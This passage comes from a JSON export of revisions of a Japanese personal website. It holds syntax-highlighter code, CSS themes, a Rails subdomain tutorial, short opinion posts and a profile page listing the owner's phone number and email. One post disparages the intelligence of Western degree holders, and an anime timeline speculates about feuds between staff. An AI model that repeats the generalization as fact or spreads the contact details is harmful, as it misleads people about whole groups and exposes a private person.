?:\\\\|')/g,null,-1],[/'/g,\"sh_string\",-2]],[[/$/g,null,-2],[/\u003e/g,\"sh_string\",-2]],[[/^(?:\\=end)/g,\"sh_comment\",-2]],[[/$/g,null,-2]]];","created_at":"2014-03-22T07:07:32.000Z","updated_at":"2014-03-22T07:07:32.000Z"},{"id":2637,"name":"sh_ext.js","body":"raw\r\nmime js\r\n\r\nif(!this.sh_languages){this.sh_languages={}}sh_languages.javascript=[[[/\\/\\/\\//g,\"sh_comment\",1],[/\\/\\//g,\"sh_comment\",7],[/\\/\\*\\*/g,\"sh_comment\",8],[/\\/\\*/g,\"sh_comment\",9],[/\\b(?:abstract|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|false|final|finally|for|function|goto|if|implements|in|instanceof|interface|native|new|null|private|protected|prototype|public|return|static|super|switch|synchronized|throw|throws|this|transient|true|try|typeof|var|volatile|while|with)\\b/g,\"sh_keyword\",-1],[/(\\+\\+|--|\\)|\\])(\\s*)(\\/=?(?![*\\/]))/g,[\"sh_symbol\",\"sh_normal\",\"sh_symbol\"],-1],[/(0x[A-Fa-f0-9]+|(?:[\\d]*\\.)?[\\d]+(?:[eE][+-]?[\\d]+)?)(\\s*)(\\/(?![*\\/]))/g,[\"sh_number\",\"sh_normal\",\"sh_symbol\"],-1],[/([A-Za-z$_][A-Za-z0-9$_]*\\s*)(\\/=?(?![*\\/]))/g,[\"sh_normal\",\"sh_symbol\"],-1],[/\\/(?:\\\\.|[^*\\\\\\/])(?:\\\\.|[^\\\\\\/])*\\/[gim]*/g,\"sh_regexp\",-1],[/\\b[+-]?(?:(?:0x[A-Fa-f0-9]+)|(?:(?:[\\d]*\\.)?[\\d]+(?:[eE][+-]?[\\d]+)?))u?(?:(?:int(?:8|16|32|64))|L)?\\b/g,\"sh_number\",-1],[/\"/g,\"sh_string\",10],[/'/g,\"sh_string\",11],[/~|!|%|\\^|\\*|\\(|\\)|-|\\+|=|\\[|\\]|\\\\|:|;|,|\\.|\\/|\\?|\u0026|\u003c|\u003e|\\|/g,\"sh_symbol\",-1],[/\\{|\\}/g,\"sh_cbracket\",-1],[/\\b(?:Math|Infinity|NaN|undefined|arguments)\\b/g,\"sh_predef_var\",-1],[/\\b(?:Array|Boolean|Date|Error|EvalError|Function|Number|Object|RangeError|ReferenceError|RegExp|String|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt)\\b/g,\"sh_predef_func\",-1],[/(?:[A-Za-z]|_)[A-Za-z0-9_]*(?=[ \\t]*\\()/g,\"sh_function\",-1]],[[/$/g,null,-2],[/(?:\u003c?)[A-Za-z0-9_\\.\\/\\-_~]+@[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)|(?:\u003c?)[A-Za-z0-9_]+:\\/\\/[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)/g,\"sh_url\",-1],[/\u003c\\?xml/g,\"sh_preproc\",2,1],[/\u003c!DOCTYPE/g,\"sh_preproc\",4,1],[/\u003c!--/g,\"sh_comment\",5],[/\u003c(?:\\/)?[A-Za-z](?:[A-Za-z0-9_:.-]*)(?:\\/)?\u003e/g,\"sh_keyword\",-1],[/\u003c(?:\\/)?[A-Za-z](?:[A-Za-z0-9_:.-]*)/g,\"sh_keyword\",6,1],[/\u0026(?:[A-Za-z0-9]+);/g,\"sh_preproc\",-1],[/\u003c(?:\\/)?[A-Za-z][A-Za-z0-9]*(?:\\/)?\u003e/g,\"sh_keyword\",-1],[/\u003c(?:\\/)?[A-Za-z][A-Za-z0-9]*/g,\"sh_keyword\",6,1],[/@[A-Za-z]+/g,\"sh_type\",-1],[/(?:TODO|FIXME|BUG)(?:[:]?)/g,\"sh_todo\",-1]],[[/\\?\u003e/g,\"sh_preproc\",-2],[/([^=\" \\t\u003e]+)([ \\t]*)(=?)/g,[\"sh_type\",\"sh_normal\",\"sh_symbol\"],-1],[/\"/g,\"sh_string\",3]],[[/\\\\(?:\\\\|\")/g,null,-1],[/\"/g,\"sh_string\",-2]],[[/\u003e/g,\"sh_preproc\",-2],[/([^=\" \\t\u003e]+)([ \\t]*)(=?)/g,[\"sh_type\",\"sh_normal\",\"sh_symbol\"],-1],[/\"/g,\"sh_string\",3]],[[/--\u003e/g,\"sh_comment\",-2],[/\u003c!--/g,\"sh_comment\",5]],[[/(?:\\/)?\u003e/g,\"sh_keyword\",-2],[/([^=\" \\t\u003e]+)([ \\t]*)(=?)/g,[\"sh_type\",\"sh_normal\",\"sh_symbol\"],-1],[/\"/g,\"sh_string\",3]],[[/$/g,null,-2]],[[/\\*\\//g,\"sh_comment\",-2],[/(?:\u003c?)[A-Za-z0-9_\\.\\/\\-_~]+@[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)|(?:\u003c?)[A-Za-z0-9_]+:\\/\\/[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)/g,\"sh_url\",-1],[/\u003c\\?xml/g,\"sh_preproc\",2,1],[/\u003c!DOCTYPE/g,\"sh_preproc\",4,1],[/\u003c!--/g,\"sh_comment\",5],[/\u003c(?:\\/)?[A-Za-z](?:[A-Za-z0-9_:.-]*)(?:\\/)?\u003e/g,\"sh_keyword\",-1],[/\u003c(?:\\/)?[A-Za-z](?:[A-Za-z0-9_:.-]*)/g,\"sh_keyword\",6,1],[/\u0026(?:[A-Za-z0-9]+);/g,\"sh_preproc\",-1],[/\u003c(?:\\/)?[A-Za-z][A-Za-z0-9]*(?:\\/)?\u003e/g,\"sh_keyword\",-1],[/\u003c(?:\\/)?[A-Za-z][A-Za-z0-9]*/g,\"sh_keyword\",6,1],[/@[A-Za-z]+/g,\"sh_type\",-1],[/(?:TODO|FIXME|BUG)(?:[:]?)/g,\"sh_todo\",-1]],[[/\\*\\//g,\"sh_comment\",-2],[/(?:\u003c?)[A-Za-z0-9_\\.\\/\\-_~]+@[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)|(?:\u003c?)[A-Za-z0-9_]+:\\/\\/[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)/g,\"sh_url\",-1],[/(?:TODO|FIXME|BUG)(?:[:]?)/g,\"sh_todo\",-1]],[[/\"/g,\"sh_string\",-2],[/\\\\./g,\"sh_specialchar\",-1]],[[/'/g,\"sh_string\",-2],[/\\\\./g,\"sh_specialchar\",-1]]];\r\n\r\nif(!this.sh_languages){this.sh_languages={}}sh_languages.ruby=[[[/\\b(?:require)\\b/g,\"sh_preproc\",-1],[/\\b[+-]?(?:(?:0x[A-Fa-f0-9]+)|(?:(?:[\\d]*\\.)?[\\d]+(?:[eE][+-]?[\\d]+)?))u?(?:(?:int(?:8|16|32|64))|L)?\\b/g,\"sh_number\",-1],[/\"/g,\"sh_string\",1],[/'/g,\"sh_string\",2],[/\u003c/g,\"sh_string\",3],[/\\/[^\\n]*\\//g,\"sh_regexp\",-1],[/(%r)(\\{(?:\\\\\\}|#\\{[A-Za-z0-9]+\\}|[^}])*\\})/g,[\"sh_symbol\",\"sh_regexp\"],-1],[/\\b(?:alias|begin|BEGIN|break|case|defined|do|else|elsif|end|END|ensure|for|if|in|include|loop|next|raise|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield|false|nil|self|true|__FILE__|__LINE__|and|not|or|def|class|module|catch|fail|load|throw)\\b/g,\"sh_keyword\",-1],[/(?:^\\=begin)/g,\"sh_comment\",4],[/(?:\\$[#]?|@@|@)(?:[A-Za-z0-9_]+|'|\\\"|\\/)/g,\"sh_type\",-1],[/[A-Za-z0-9]+(?:\\?|!)/g,\"sh_normal\",-1],[/~|!|%|\\^|\\*|\\(|\\)|-|\\+|=|\\[|\\]|\\\\|:|;|,|\\.|\\/|\\?|\u0026|\u003c|\u003e|\\|/g,\"sh_symbol\",-1],[/(#)(\\{)/g,[\"sh_symbol\",\"sh_cbracket\"],-1],[/#/g,\"sh_comment\",5],[/\\{|\\}/g,\"sh_cbracket\",-1]],[[/$/g,null,-2],[/\\\\(?:\\\\|\")/g,null,-1],[/\"/g,\"sh_string\",-2]],[[/$/g,null,-2],[/\\\\(?:\\\\|')/g,null,-1],[/'/g,\"sh_string\",-2]],[[/$/g,null,-2],[/\u003e/g,\"sh_string\",-2]],[[/^(?:\\=end)/g,\"sh_comment\",-2]],[[/$/g,null,-2]]];\r\n\r\nif(!this.sh_languages){this.sh_languages={}}sh_languages.sh=[[[/\\b(?:import)\\b/g,\"sh_preproc\",-1],[/\\b[+-]?(?:(?:0x[A-Fa-f0-9]+)|(?:(?:[\\d]*\\.)?[\\d]+(?:[eE][+-]?[\\d]+)?))u?(?:(?:int(?:8|16|32|64))|L)?\\b/g,\"sh_number\",-1],[/\\\\\"|\\\\'/g,\"sh_normal\",-1],[/\"/g,\"sh_string\",1],[/'/g,\"sh_string\",2],[/function[ \\t]+(?:[A-Za-z]|_)[A-Za-z0-9_]*[ \\t]*(?:\\(\\))?|(?:[A-Za-z]|_)[A-Za-z0-9_]*[ \\t]*\\(\\)/g,\"sh_function\",-1],[/(?:[A-Za-z]*[-\\/]+[A-Za-z]+)+/g,\"sh_normal\",-1],[/\\b(?:alias|bg|bind|break|builtin|caller|case|command|compgen|complete|continue|declare|dirs|disown|do|done|elif|else|enable|esac|eval|exec|exit|export|false|fc|fg|fi|for|getopts|hash|help|history|if|in|jobs|let|local|logout|popd|printf|pushd|read|readonly|return|select|set|shift|shopt|source|suspend|test|then|times|trap|true|type|typeset|umask|unalias|unset|until|wait|while)\\b/g,\"sh_keyword\",-1],[/(?:[A-Za-z]|_)[A-Za-z0-9_]*(?==)|\\$\\{(?:[^ \\t]+)\\}|\\$\\((?:[^ \\t]+)\\)|\\$(?:[A-Za-z]|_)[A-Za-z0-9_]*|\\$(?:[^ \\t]{1})/g,\"sh_variable\",-1],[/~|!|%|\\^|\\*|\\(|\\)|\\+|=|\\[|\\]|\\\\|:|;|,|\\.|\\/|\\?|\u0026|\u003c|\u003e|\\||%%|(?:##){2}(?!#)/g,\"sh_symbol\",-1],[/#/g,\"sh_comment\",3]],[[/\"/g,\"sh_string\",-2],[/\\\\./g,\"sh_specialchar\",-1]],[[/'/g,\"sh_string\",-2],[/\\\\./g,\"sh_specialchar\",-1]],[[/$/g,null,-2]]];","created_at":"2014-03-22T07:07:54.000Z","updated_at":"2014-03-22T07:07:54.000Z"},{"id":2638,"name":"text/Rails でサブドメイン","body":"%blog% Ruby On Rails でサブドメインを使った Web サイトを作る\r\n\r\nという地獄の話です。\r\n\r\n### 基本的な部分\r\n``` ruby\r\n# config/initializers/session_store.rb\r\nHogehoge::Application.config.session_store :cookie_store, domain: \".#{ENV['DOMAIN']}\", key: '_hogehoghoge'\r\n```\r\n\r\nというような感じにする。アプリを起動する時に環境変数でドメインを指定する。 .#{ドメイン} と cookie のドメインを指定しておくことでサブドメインでもクッキー共有できるようにする。クッキー共有したくないならこうしない。 ./bin/rails server とかを使うなら、この場合 localhost としてアプリが起動するのだから、\r\n\r\n``` sh\r\nDOMAIN=localhost ./bin/rails server\r\n```\r\n\r\nとかする。 hoge.localhost とかで名前解決出来るように hosts ファイルをいい感じに書くか、 dnsmasq などを使って開発用の DNS サーバーを立てる。\r\n\r\n### ルーティング\r\n``` ruby\r\ndef sub_domain? req\r\n if req.subdomain.blank?\r\n return false\r\n else\r\n if req.subdomain == 'www' # www はサブドメインアクセスと見做さないとかならこうする\r\n return true\r\n else\r\n domain = \"#{req.subdomain}.#{req.domain}\"\r\n return domain == ENV['DOMAIN']\r\n end\r\n end\r\nend\r\n```\r\n\r\nというようなものを route.rb に書いて、以下のように使う。\r\n\r\n``` ruby\r\n# サブドメインじゃないページで表示したいもの\r\nmatch '/', to: 'hoge#fuga_action', constraints: lambda { |r| !sub_domain?(r) }, via: [:get] \r\n# サブドメインなページで表示したいもの\r\nmatch '/', to: 'for_subdomain#fuga_action', constraints: lambda { |r| sub_domain?(r) }, via: [:get]\r\n```\r\n\r\nドメインごとにふりわけとかしたい場合は頑張ってください。\r\n\r\n### テスト\r\nコントローラに対してテストを書きたい場合には以下のようにする。\r\n\r\n``` ruby\r\ncontroller.request.stub(:subdomain).and_return(\"subdomain\")\r\n```\r\n\r\nCapybara を使って実際のユースケースを模倣したようなテストを書く時には Capybara.app_host を随時上書きして頑張る。 Capybara WebKit を使いたいときは[こちら]を読んでください。\r\n\r\n### 本質的な解決策\r\n複数の Rails アプリに分割し、 OpenID などを用いて連携することが出来ないかを考えるのもよいアイディアだと思う。 cookie の domain を設定してサブドメインとも cookie を共有することまでは難しくないが、ルーティングの記述やテストなどでだるいことが多すぎるので。\r\n\r\nサブドメインを使ったアプリを単独の Rails アプリとして作成することは大変に困難がともなう。とても辛い。基本的にやらないほうがよい。サブドメインを使うことを止めるというのはいいアイディアだと思う。","created_at":"2014-03-22T07:08:15.000Z","updated_at":"2014-03-22T07:08:15.000Z"},{"id":2639,"name":"sh_style.css","body":"raw\r\nmime css\r\npre.sh_sourceCode{background-color:#80bfff;color:#400080;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_keyword{color:#3f2bf0;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_type{color:#3f2bf0;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_string{color:#c40000;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_regexp{color:#c40000;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_specialchar{color:#77379a;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_comment{color:#df0959;font-weight:normal;font-style:italic;}pre.sh_sourceCode .sh_number{color:#20755a;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_preproc{color:#0628cb;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_symbol{color:#000;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_function{color:#901164;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_cbracket{color:#000;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_url{color:#c40000;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_date{color:#3f2bf0;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_time{color:#3f2bf0;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_file{color:#3f2bf0;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_ip{color:#c40000;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_name{color:#c40000;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_variable{color:#a91ea7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_oldfile{color:#77379a;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_newfile{color:#c40000;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_difflines{color:#3f2bf0;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_selector{color:#a91ea7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_property{color:#3f2bf0;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_value{color:#c40000;font-weight:normal;font-style:normal;}","created_at":"2014-03-22T07:08:39.000Z","updated_at":"2014-03-22T07:08:39.000Z"},{"id":2640,"name":"sh_style.css","body":"raw\r\nmime css\r\npre.sh_sourceCode{background-color:#af947e;color:#fffdec;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_keyword{color:#fef8bc;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_type{color:#fef8bc;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_string{color:#f6f647;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_regexp{color:#f6f647;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_specialchar{color:#f6f647;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_comment{color:#a00000;font-weight:normal;font-style:italic;}pre.sh_sourceCode .sh_number{color:#3e3f25;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_preproc{color:#833914;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_symbol{color:#66574f;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_function{color:#f3d266;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_cbracket{color:#66574f;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_url{color:#f6f647;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_date{color:#fef8bc;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_time{color:#fef8bc;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_file{color:#fef8bc;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_ip{color:#f6f647;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_name{color:#f6f647;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_variable{color:#000;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_oldfile{color:#f6f647;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_newfile{color:#f6f647;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_difflines{color:#fef8bc;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_selector{color:#000;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_property{color:#fef8bc;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_value{color:#f6f647;font-weight:normal;font-style:normal;}","created_at":"2014-03-22T07:09:07.000Z","updated_at":"2014-03-22T07:09:07.000Z"},{"id":2641,"name":"sh_style.css","body":"raw\r\nmime css\r\npre.sh_sourceCode{background-color:#fff;color:#401e7a;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_keyword{color:#ff3030;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_type{color:#f7b92c;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_string{color:#1861a7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_regexp{color:#1861a7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_specialchar{color:#1861a7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_comment{color:#38ad24;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_number{color:#32ba06;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_preproc{color:#5374b0;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_symbol{color:#3030ee;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_function{color:#d11ced;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_cbracket{color:#3030ee;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_url{color:#1861a7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_date{color:#ff3030;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_time{color:#ff3030;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_file{color:#ff3030;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_ip{color:#1861a7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_name{color:#1861a7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_variable{color:#00f;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_oldfile{color:#1861a7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_newfile{color:#1861a7;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_difflines{color:#ff3030;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_selector{color:#00f;font-weight:normal;font-style:normal;}pre.sh_sourceCode .sh_property{color:#ff3030;font-weight:bold;font-style:normal;}pre.sh_sourceCode .sh_value{color:#1861a7;font-weight:normal;font-style:normal;}","created_at":"2014-03-22T07:09:26.000Z","updated_at":"2014-03-22T07:09:26.000Z"},{"id":2642,"name":"text/Rails でサブドメイン","body":"%blog% Ruby On Rails でサブドメインを使った Web サイトを作る\r\n\r\nという地獄の話です。\r\n\r\n### 基本的な部分\r\n``` ruby\r\n# config/initializers/session_store.rb\r\nHogehoge::Application.config.session_store :cookie_store, domain: \".#{ENV['DOMAIN']}\", key: '_hogehoghoge'\r\n```\r\n\r\nというような感じにする。アプリを起動する時に環境変数でドメインを指定する。 .#{ドメイン} と cookie のドメインを指定しておくことでサブドメインでもクッキー共有できるようにする。クッキー共有したくないならこうしない。 ./bin/rails server とかを使うなら、この場合 localhost としてアプリが起動するのだから、\r\n\r\n``` sh\r\nDOMAIN=localhost ./bin/rails server\r\n```\r\n\r\nとかする。 hoge.localhost とかで名前解決出来るように hosts ファイルをいい感じに書くか、 dnsmasq などを使って開発用の DNS サーバーを立てる。\r\n\r\n### ルーティング\r\n``` ruby\r\ndef sub_domain? req\r\n if req.subdomain.blank?\r\n return false\r\n else\r\n if req.subdomain == 'www' # www はサブドメインアクセスと見做さないとかならこうする\r\n return true\r\n else\r\n domain = \"#{req.subdomain}.#{req.domain}\"\r\n return domain == ENV['DOMAIN']\r\n end\r\n end\r\nend\r\n```\r\n\r\nというようなものを route.rb に書いて、以下のように使う。\r\n\r\n``` ruby\r\n# サブドメインじゃないページで表示したいもの\r\nmatch '/', to: 'hoge#fuga_action', constraints: lambda { |r| !sub_domain?(r) }, via: [:get] \r\n# サブドメインなページで表示したいもの\r\nmatch '/', to: 'for_subdomain#fuga_action', constraints: lambda { |r| sub_domain?(r) }, via: [:get]\r\n```\r\n\r\nドメインごとにふりわけとかしたい場合は頑張ってください。\r\n\r\n### テスト\r\nコントローラに対してテストを書きたい場合には以下のようにする。\r\n\r\n``` ruby\r\ncontroller.request.stub(:subdomain).and_return(\"subdomain\")\r\n```\r\n\r\nCapybara を使って実際のユースケースを模倣したようなテストを書く時には Capybara.app_host を随時上書きして頑張る。 Capybara WebKit を使いたいときは[こちら](http://ssig33.com/text/Capybara%20WebKit%20%E3%81%A7%E3%82%B5%E3%83%96%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E3%81%AE%E3%83%86%E3%82%B9%E3%83%88)を読んでください。\r\n\r\n### 本質的な解決策\r\n複数の Rails アプリに分割し、 OpenID などを用いて連携することが出来ないかを考えるのもよいアイディアだと思う。 cookie の domain を設定してサブドメインとも cookie を共有することまでは難しくないが、ルーティングの記述やテストなどでだるいことが多すぎるので。\r\n\r\nサブドメインを使ったアプリを単独の Rails アプリとして作成することは大変に困難がともなう。とても辛い。基本的にやらないほうがよい。サブドメインを使うことを止めるというのはいいアイディアだと思う。","created_at":"2014-03-22T07:10:13.000Z","updated_at":"2014-03-22T07:10:13.000Z"},{"id":2643,"name":"text/Remmina で接続先のマシンが変わった","body":"%blog% Remmina で接続先のマシンが変わって IP アドレスは変わってない場合に RDP する\r\n\r\n~/.freerdp/known_hosts に該当 IP アドレスのエントリがあったらそれを消したら新しいマシンに RDP できる。\r\n\r\n様々なネットワークを渡り歩き次々に同じ IP アドレスの違うマシンに RDP するという場合は繋いでいるアクセスポイントやらなんやらを見てこのファイルを自動で置き換えるなどしてもいいでしょう(俺はそうした)。","created_at":"2014-03-26T23:47:14.000Z","updated_at":"2014-03-26T23:47:14.000Z"},{"id":2644,"name":"text/大学","body":"%blog%\r\n\r\n日本はなんだかんだで学歴差別があんまないので(学士でも大企業入れるし、中途採用だと結構な確率で学歴不問)、日本から基本出るつもりがないなら、出なくていいと思う。\r\n\r\n欧州やアメリカの人間は判断力が低いので学歴で激しく差別してくるので大学とか大学院とか出てないと苦労します。直近でそれで苦労したのがありました(就職とかそういうのじゃないんですが)。なんとかなるけどだるいので今高校生の若者とか大学出てもいいと思う。出なくてもいいけど。\r\n\r\n欧米の一般の学士とかあきらかに日本の高卒ぐらいの知能しかないのだけど(その分修士から先は地獄っぽい)、逆に言うとむこう高卒はこっちの中卒ぐらいなわけで、高卒と言うとそういうふうに思われてしまうというのがあるのだと感じました。","created_at":"2014-03-30T01:41:45.000Z","updated_at":"2014-03-30T01:41:45.000Z"},{"id":2645,"name":"text/プレゼンの要点","body":"%blog%\r\n\r\n聴衆はどうせなんも話を聞いてないので適当にやる","created_at":"2014-04-13T17:55:51.000Z","updated_at":"2014-04-13T17:55:51.000Z"},{"id":2646,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://g.ssig33.com/e72558607f525cc220a569e807ae8e2d)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)\r\n\r\n\u003cmeta name=\"imagefront-domain-verification\" content=\"d96ef64e-c49b-11e3-87f6-56847afe9799\" /\u003e","created_at":"2014-04-15T12:59:04.000Z","updated_at":"2014-04-15T12:59:04.000Z"},{"id":2647,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://g.ssig33.com/e72558607f525cc220a569e807ae8e2d)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)\r\n\r\n\u003cmeta name=\"imagefront-domain-verification\" content=\"d96ef64e-c49b-11e3-87f6-56847afe9799\" /\u003e","created_at":"2014-04-15T12:59:12.000Z","updated_at":"2014-04-15T12:59:12.000Z"},{"id":2648,"name":"text/虚淵玄と小林靖子","body":"%blog%\r\n\r\nいつ | 何が起きた\r\n---- | ----\r\n**2008 年** | **武部直美**プロデュース作品仮面ライダーキバが放送される。声優の**杉田智和**が出演。\r\n**2008 年** | 虚淵玄と小林靖子の共同メイン作品ブラスレイターが放送される。控え目に言ってコケる。ちなみに変身ヒーローもの。 全然関係無いけど 06 話の飯田馬之介回がめっちゃかっこいい\r\n**2011 年 01〜04 月** | 虚淵玄の魔法少女まどかマギカが放送される\r\n**2010 年 09 月〜翌 08 月** | 小林靖子の仮面ライダー OOO が放送される。終盤は「異形の存在になって一人世界を救う為に戦う主人公を周囲の人物が「彼を都合のいい神様にしちゃいけない」(この台詞が本当にあった)と止める話。ちなみにこの作品のプロデューサーは**武部直美**。\r\n**2012 年以降 | 劇場版まどかマギカが放送される。これを見た**武部直美**、次期仮面ライダーの脚本家に虚淵玄の採用を検討。\r\n**2013 年 4-7 月 | 虚淵玄シリーズ構成のアニメ、翠星のガルガンティアが放送される。声優の**杉田智和**が出演。仮面ライダーキバで面識があった**武部直美**は**杉田智和**を通じて虚淵玄に仮面ライダー鎧武の脚本執筆を依頼。\r\n\r\nアレッ?何故武部直美さんは面識があるはずの小林靖子さんを通じて虚淵玄さんに依頼を投げなかったのでしょうか。 \r\n端的に言って誰と誰が何故仲が悪いかがなんとなく察せられるところであります。\r\n\r\nちなみにこのように整理して考えてみると虚淵玄さんは 50 話もあるシリーズに、放送開始半年前というギリギリで招聘されたことが伺えます。めちゃくちゃかわいそう。\r\n\r\n### ソース\r\n- 武部直美が杉田智和に虚淵玄を紹介してもらったという話: http://www.toei.co.jp/tv/gaimu/story/1203345_2163.html\r\n","created_at":"2014-04-17T13:01:48.000Z","updated_at":"2014-04-17T13:01:48.000Z"},{"id":2649,"name":"text/虚淵玄と小林靖子","body":"%blog%\r\n\r\nいつ | 何が起きた\r\n---- | ----\r\n**2008 年** | **武部直美**プロデュース作品仮面ライダーキバが放送される。声優の**杉田智和**が出演。\r\n**2008 年** | 虚淵玄と小林靖子の共同メイン作品ブラスレイターが放送される。控え目に言ってコケる。ちなみに変身ヒーローもの。 全然関係無いけど 06 話の飯田馬之介回がめっちゃかっこいい\r\n**2011 年 01〜04 月** | 虚淵玄の魔法少女まどかマギカが放送される\r\n**2010 年 09 月〜翌 08 月** | 小林靖子の仮面ライダー OOO 